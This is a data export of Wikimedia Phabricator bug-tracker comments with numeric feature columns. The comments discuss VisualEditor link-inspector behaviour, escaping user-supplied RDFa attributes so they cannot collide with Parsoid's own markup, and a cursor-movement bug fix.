219468,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),"Alternately, once a link is selected we could have the link inspector automatically close (re: OK buttons). I'm more of a fan of OK buttons because I think auto-closes are just inviting someone to mis-click and get infuriated at the software for going away and leaving them with the wrong link.",,,1371118580,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,2,False,,,-3,,0.0,2.0,0.0,2.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,2.0,5.0,2.0,0.0,0.0,3.935483870967742,0.8064516129032258,"Alternately, once a link is selected we could have the link inspector automatically close (re: OK buttons). I'm more of a fan of OK buttons because I think auto-closes are just inviting someone to mis-click and get infuriated at the software for going away and leaving them with the wrong link."
50772,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","User can enter html tags or provide tag attributes or attribute values that Parsoid (and downstream clients) treat specially.

Ex: #mwt3 for about-ids, or mw:Object/* for typeofs or <template> tags or any of the special attributes/types found on http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec

If Parsoid doesn't detect these and escape/handle them somehow, Parsoid will mislead clients like VisualEditor and/or incorrectly serialize them.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1369392240,,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-e53ehyegovylp4gigsvo,task_description,open,True,c1,1,True,False,,-6,,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,11.0,1.0,7.0,3.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,2.0,7.0,8.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,2.0,4.214285714285714,0.7040816326530612,"User can enter html tags or provide tag attributes or attribute values that Parsoid (and downstream clients) treat specially.

Ex: #mwt3 for about-ids, or mw:Object/* for typeofs or <template> tags or any of the special attributes/types found on URL

If Parsoid doesn't detect these and escape/handle them somehow, Parsoid will mislead clients like VisualEditor and/or incorrectly serialize them.

--------------------------
**Version**: unspecified
**Severity**: normal"
399203,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","One more thing that would be good to fix:

Currently, the tokenizer unconditionally escapes typeof and about attributes to data-x-typeof and data-x-about. But, if RDFa attrs from wikitext will also get escaped in this manner. Not sure if RDFa is actually used in wikitext, but that support does exist in MW. So, the escaping could be refined to leave alone any typeof and about attrs that wont confuse Parsoid and clients.

Related FIXME comments from the sanitizer (ext.core.Sanitizer.js) from https://gerrit.wikimedia.org/r/#/c/81569/ that I am pasting here:
```
// SSS FIXME: There is a test in mediawiki.environment.js that doles out
// and tests about ids. There are probably some tests in mediawiki.Util.js
// as well. We should move all these kind of tests somewhere else.
----
// Bypass RDFa/whitelisting checks for Parsoid-inserted attrs
// Safe to do since the tokenizer renames about/typeof attrs.
// unconditionally. FIXME: The escaping solution in tokenizer
// maybe aggressive. There is no need to escape typeof strings
// that or about ids that don't resemble Parsoid types/about ids.
```

Any fix made here should also verify that the sanitization code in sanitizeTagAttrs properly strips dangerous values from unescaped typeofs even when Parsoid updates them with parsoid typeofs.

```
Ex: <tag typeof=""dangerous-text"">..</tag> gets updated by Parsoid parser to <tag typeof=""mw:ParsoidTypeof dangerous-text"">..</tag> which should then be handled by the sanitizer to yield <tag typeof=""mw:ParsoidTypeof"">...</tag>
```",,,1421187810,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,80,,1.0,0.0,0.0,1.5,0.5,2.5,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.5,8.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.5,0.0,13.5,1.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.5,0.0,2.5,3.0,10.0,1.0,4.0,4.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,1.0,8.5,5.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,1.0,0.5,0.0,0.0,4.026315789473684,0.7894736842105263,"One more thing that would be good to fix:

Currently, the tokenizer unconditionally escapes typeof and about attributes to data-x-typeof and data-x-about. But, if RDFa attrs from wikitext will also get escaped in this manner. Not sure if RDFa is actually used in wikitext, but that support does exist in MW. So, the escaping could be refined to leave alone any typeof and about attrs that wont confuse Parsoid and clients.

Related FIXME comments from the sanitizer (ext.core.Sanitizer.js) from URL that I am pasting here:
``CODE`CODE`CODE``"
218335,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","One more thing that would be good to fix:

Currently, the tokenizer unconditionally escapes typeof and about attributes to data-x-typeof and data-x-about. But, if RDFa attrs from wikitext will also get escaped in this manner. Not sure if RDFa is actually used in wikitext, but that support does exist in MW. So, the escaping could be refined to leave alone any typeof and about attrs that wont confuse Parsoid and clients.

Related FIXME comments from the sanitizer (ext.core.Sanitizer.js) from https://gerrit.wikimedia.org/r/#/c/81569/ that I am pasting here:

----
// SSS FIXME: There is a test in mediawiki.environment.js that doles out
// and tests about ids. There are probably some tests in mediawiki.Util.js
// as well. We should move all these kind of tests somewhere else.
----
// Bypass RDFa/whitelisting checks for Parsoid-inserted attrs
// Safe to do since the tokenizer renames about/typeof attrs.
// unconditionally. FIXME: The escaping solution in tokenizer
// maybe aggressive. There is no need to escape typeof strings
// that or about ids that don't resemble Parsoid types/about ids.
----

Any fix made here should also verify that the sanitization code in sanitizeTagAttrs properly strips dangerous values from unescaped typeofs even when Parsoid updates them with parsoid typeofs.

Ex: <tag typeof=""dangerous-text"">..</tag> gets updated by Parsoid parser to <tag typeof=""mw:ParsoidTypeof dangerous-text"">..</tag> which should then be handled by the sanitizer to yield <tag typeof=""mw:ParsoidTypeof"">...</tag>",,,1378248584,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,9,,1.3333333333333333,0.0,0.0,1.0,0.6666666666666666,3.3333333333333335,0.3333333333333333,0.0,0.0,0.6666666666666666,2.6666666666666665,0.3333333333333333,0.0,0.0,1.0,0.6666666666666666,0.3333333333333333,8.0,12.0,0.0,1.6666666666666667,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,4.333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,0.0,18.0,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,2.0,0.0,0.0,0.3333333333333333,1.0,0.0,2.6666666666666665,2.6666666666666665,10.666666666666666,2.0,2.6666666666666665,5.666666666666667,0.0,0.0,0.0,0.0,5.0,0.0,0.6666666666666666,0.0,1.0,12.0,7.333333333333333,0.0,0.0,0.0,1.0,0.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,4.2733333333333325,0.6766666666666667,"One more thing that would be good to fix:

Currently, the tokenizer unconditionally escapes typeof and about attributes to data-x-typeof and data-x-about. But, if RDFa attrs from wikitext will also get escaped in this manner. Not sure if RDFa is actually used in wikitext, but that support does exist in MW. So, the escaping could be refined to leave alone any typeof and about attrs that wont confuse Parsoid and clients.

Related FIXME comments from the sanitizer (ext.core.Sanitizer.js) from URL that I am pasting here:

----
// SSS FIXME: There is a test in mediawiki.environment.js that doles out
// and tests about ids. There are probably some tests in mediawiki.Util.js
// as well. We should move all these kind of tests somewhere else.
----
// Bypass RDFa/whitelisting checks for Parsoid-inserted attrs
// Safe to do since the tokenizer renames about/typeof attrs.
// unconditionally. FIXME: The escaping solution in tokenizer
// maybe aggressive. There is no need to escape typeof strings
// that or about ids that don't resemble Parsoid types/about ids.
----

Any fix made here should also verify that the sanitization code in sanitizeTagAttrs properly strips dangerous values from unescaped typeofs even when Parsoid updates them with parsoid typeofs.

Ex: <tag typeof=""dangerous-text"">..</tag> gets updated by Parsoid parser to <tag typeof=""mw:ParsoidTypeof dangerous-text"">..</tag> which should then be handled by the sanitizer to yield <tag typeof=""mw:ParsoidTypeof"">...</tag>"
218328,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","Patch landed as suggested in comment 5. However, Subbu mentioned that, ""we still need to deal with complexity that templates bring.""

Ex: <div {{echo|about}}=""foo"">bar</div>",,,1375117004,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,14.0,11.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,4.194444444444445,0.8611111111111112,"Patch landed as suggested in comment 5. However, Subbu mentioned that, ""we still need to deal with complexity that templates bring.""

Ex: <div {{echo|about}}=""foo"">bar</div>"
218321,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","Change 74586 merged by jenkins-bot:
Protect Parsoid-generated attributes.

https://gerrit.wikimedia.org/r/74586",,,1374946962,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.647058823529412,0.9411764705882353,"Change 74586 merged by jenkins-bot:
Protect Parsoid-generated attributes.

GERRIT_URL"
218315,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","Or we could write a DOM postprocessor stage that was a bit smarter about which RDFa it unwrapped.  ie, it would unwrap the first example from comment 5, but not the final example there, since it would be able to see that there's parsoid RDFa inside the div which would be broken.  Or other options.",,,1374529924,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,2.0,2.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,9.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,2.0,2.0,2.0,5.0,0.0,2.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,5.0,8.0,3.0,5.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,5.0,3.0,0.0,0.0,2.0,0.0,2.0,3.8125,0.703125,"Or we could write a DOM postprocessor stage that was a bit smarter about which RDFa it unwrapped.  ie, it would unwrap the first example from comment 5, but not the final example there, since it would be able to see that there's parsoid RDFa inside the div which would be broken.  Or other options."
218309,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","If we do go that route, the fixup for rendering would have to be in client-side JS since we may not use different cached content for editing vs rendering -- or so it seems to me at this time without any sense of how user RDFa markup will need to be supported in MW content.",,,1374529662,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,3,,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,22.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,7.0,5.0,2.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,22.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.711864406779661,0.864406779661017,"If we do go that route, the fixup for rendering would have to be in client-side JS since we may not use different cached content for editing vs rendering -- or so it seems to me at this time without any sense of how user RDFa markup will need to be supported in MW content."
218301,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","[Discussed this on IRC with subbu]

To support case 3 from comment 1 and 2, rather than *strip* the attributes, I suggest encapsulating them instead.  For example, if the user authors:

<div about=""http://dbpedia.org/resource/Albert_Einstein"" typeof=""foaf:Person"">
  <span property=""foaf:name"">Albert Einstein</span>
  <span property=""foaf:givenName"">Albert</span>
</div>

..instead of stripping the RDFa, we're just going to rename the attributes, to:

<div data-user-about=""http://dbpedia.org/resource/Albert_Einstein"" data-user-typeof=""foaf:Person"">
  <span data-user-property=""foaf:name"">Albert Einstein</span>
  <span data-user-property=""foaf:givenName"">Albert</span>
</div>

That ensures that the user content is safe for Parsoid and VE to manipulate.  In the future we can re-enable the RDFa in the output with a DOM post-processing (""render"") pass.  For example, the user content:

<div about=""http://dbpedia.org/resource/Albert_Einstein"" typeof=""foaf:Person"">
{{Albert Einstein}}
</div>

might have all sorts of Parsoid RDFa markup inside the {{Albert Einstein}} expansion, which the about=""http://dbpedia.org/resource/Albert_Einstein"" attribute would screw up the context for.  But for rendering to the web, the Parsoid cruft could be elided and the user's RDFa markup unwrapped.",,,1374529246,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,3,,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,1.3333333333333333,8.333333333333334,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,14.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.666666666666667,0.6666666666666666,9.666666666666666,0.6666666666666666,1.3333333333333333,7.333333333333333,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.3333333333333333,8.333333333333334,11.666666666666666,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,7.0,3.889420884632923,0.6559507523939808,"[Discussed this on IRC with subbu]

To support case 3 from comment 1 and 2, rather than *strip* the attributes, I suggest encapsulating them instead.  For example, if the user authors:

<div about=""URL typeof=""foaf:Person"">
  <span property=""foaf:name"">Albert Einstein</span>
  <span property=""foaf:givenName"">Albert</span>
</div>

..instead of stripping the RDFa, we're just going to rename the attributes, to:

<div data-user-about=""URL data-user-typeof=""foaf:Person"">
  <span data-user-property=""foaf:name"">Albert Einstein</span>
  <span data-user-property=""foaf:givenName"">Albert</span>
</div>

That ensures that the user content is safe for Parsoid and VE to manipulate.  In the future we can re-enable the RDFa in the output with a DOM post-processing (""render"") pass.  For example, the user content:

<div about=""URL typeof=""foaf:Person"">
{{Albert Einstein}}
</div>

might have all sorts of Parsoid RDFa markup inside the {{Albert Einstein}} expansion, which the about=""URL attribute would screw up the context for.  But for rendering to the web, the Parsoid cruft could be elided and the user's RDFa markup unwrapped."
218293,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","Change 74586 had a related patch set uploaded by Arlolra:
Protect Parsoid-generated attributes.

https://gerrit.wikimedia.org/r/74586",,,1374213999,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,"Change 74586 had a related patch set uploaded by Arlolra:
Protect Parsoid-generated attributes.

GERRIT_URL"
218286,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.",[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934056,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
218279,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","1) Is not an issue, as prefix is  not allowed in the PHP sanitizer (and not in our sanitizer either).

2) Is something for later. The risk here is mainly crashes during serialization.

3) Should be supported. We only want to protect our own values where necessary. The typeof attribute for example is multi-valued, so we only need to strip mw:-prefixed user-supplied values. The about attribute on the other hand is single-valued, so we need to override user-supplied values unconditionally where necessary.",,,1371511977,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.5,0.0,0.5,1.5,8.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,4.0,0.0,10.5,6.5,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.5,4.5,5.0,2.0,0.5,4.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,4.0,6.5,0.5,0.0,0.0,0.0,4.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,1.5,3.9629629629629632,0.6944444444444444,"1) Is not an issue, as prefix is  not allowed in the PHP sanitizer (and not in our sanitizer either).

2) Is something for later. The risk here is mainly crashes during serialization.

3) Should be supported. We only want to protect our own values where necessary. The typeof attribute for example is multi-valued, so we only need to strip mw:-prefixed user-supplied values. The about attribute on the other hand is single-valued, so we need to override user-supplied values unconditionally where necessary."
218272,"Protect Parsoid-generated token-names, about-ids, typeofs from conflicts with user-provided names.","There are three interconnected issues:
1)
  <span prefix=""mw: http://evil.bad"">
is valid wikitext, which would create malformed Parsoid DOM.  We should sanitize the wikitext (but that has to happen *before* we create the DOM, since otherwise we can't tell which prefix attributes are good and which are evil.)

2) VE needs to prevent users from authoring content which sets prefix attributes, etc.  Currently it does so, but it would be nice to make Parsoid more robust against malformed DOM, and/or to add layers of protection so that front ends aren't solely responsible for sanitizing user input.

3) Longer term we should probably think about use cases where the user wants to deliberately author RDFa markup on their content, and ensure that they are able to do so in a safe way.

This bug is primarily about #1 (the short term issue) and I'll tackle it tomorrow.",,,1371511478,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-e53ehyegovylp4gigsvo,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,1.0,7.0,2.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.5,2.5,0.5,7.5,9.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,7.5,1.0,1.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.5,0.5,0.0,2.0,0.0,0.0,0.5,14.0,0.5,1.0,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,1.0,0.0,0.0,0.5,0.5,0.0,2.5,4.0,7.5,2.5,3.0,5.5,0.0,0.0,0.0,0.5,6.5,0.0,1.0,0.0,5.5,9.0,3.5,0.0,0.0,0.0,5.5,0.0,2.5,0.5,0.0,1.0,1.0,0.0,3.0,3.956043956043956,0.7627594627594627,"There are three interconnected issues:
1)
  <span prefix=""mw: URL
is valid wikitext, which would create malformed Parsoid DOM.  We should sanitize the wikitext (but that has to happen *before* we create the DOM, since otherwise we can't tell which prefix attributes are good and which are evil.)

2) VE needs to prevent users from authoring content which sets prefix attributes, etc.  Currently it does so, but it would be nice to make Parsoid more robust against malformed DOM, and/or to add layers of protection so that front ends aren't solely responsible for sanitizing user input.

3) Longer term we should probably think about use cases where the user wants to deliberately author RDFa markup on their content, and ensure that they are able to do so in a safe way.

This bug is primarily about #1 (the short term issue) and I'll tackle it tomorrow."
50735,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","On my user page https://www.mediawiki.org/wiki/User:S_Page_%28WMF%29 and now on a test page https://www.mediawiki.org/wiki/User:S_Page_%28WMF%29/VE_bugs every time I try to add a new section VE goes haywire

1. Edit (with VE)
2. Click at start of first heading (""welcomecreation..."")
3. Press Enter, it prepends new heading (good)
4. Press up arrow to move up to this new blank heading.
5. Start typing the heading, e.g. press 'X'
6. That was wrong, so press Backspace (or left arrow)

Result:
The text of the heading underneath leaps above the new heading, joining text above it.
I can edit other parts of the document, but whenever I return to my new heading to add or backspace, the caret jumps elsewhere.
If I undo enough times, VE undoes to a state where the new header displays below the existing header. The document looks different to what it did before, but [Review and save] is grayed out.

I created a new document https://www.mediawiki.org/wiki/User:S_Page_%28WMF%29/VE_bugs and similar stuff happens in that.

This is in Firefox 21 on Ubuntu, and mediawiki.org's VE as of today.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1369264200,1372370158.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-pds66u5f24d37usiicgj,task_description,resolved,True,c1,1,False,False,True,-6,,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,0.0,2.6666666666666665,9.666666666666666,0.0,1.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.0,13.333333333333334,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,4.666666666666667,1.0,11.333333333333334,1.0,3.0,6.666666666666667,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.6666666666666667,0.0,3.3333333333333335,9.666666666666666,4.0,0.0,1.3333333333333333,0.0,3.3333333333333335,0.0,1.0,1.3333333333333333,0.0,1.0,0.0,0.0,1.3333333333333333,3.4485596707818935,0.6872427983539094,"On my user page URL and now on a test page URL every time I try to add a new section VE goes haywire

1. Edit (with VE)
2. Click at start of first heading (""welcomecreation..."")
3. Press Enter, it prepends new heading (good)
4. Press up arrow to move up to this new blank heading.
5. Start typing the heading, e.g. press 'X'
6. That was wrong, so press Backspace (or left arrow)

Result:
The text of the heading underneath leaps above the new heading, joining text above it.
I can edit other parts of the document, but whenever I return to my new heading to add or backspace, the caret jumps elsewhere.
If I undo enough times, VE undoes to a state where the new header displays below the existing header. The document looks different to what it did before, but [Review and save] is grayed out.

I created a new document URL and similar stuff happens in that.

This is in Firefox 21 on Ubuntu, and mediawiki.org's VE as of today.

--------------------------
**Version**: unspecified
**Severity**: minor"
216329,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one",This should now be fixed; we will push this to production this afternoon.,,,1372370158,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,0.9333333333333333,This should now be fixed; we will push this to production this afternoon.
216325,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","Change 70864 merged by jenkins-bot:
Don't advance cursor when adding new line at start of node

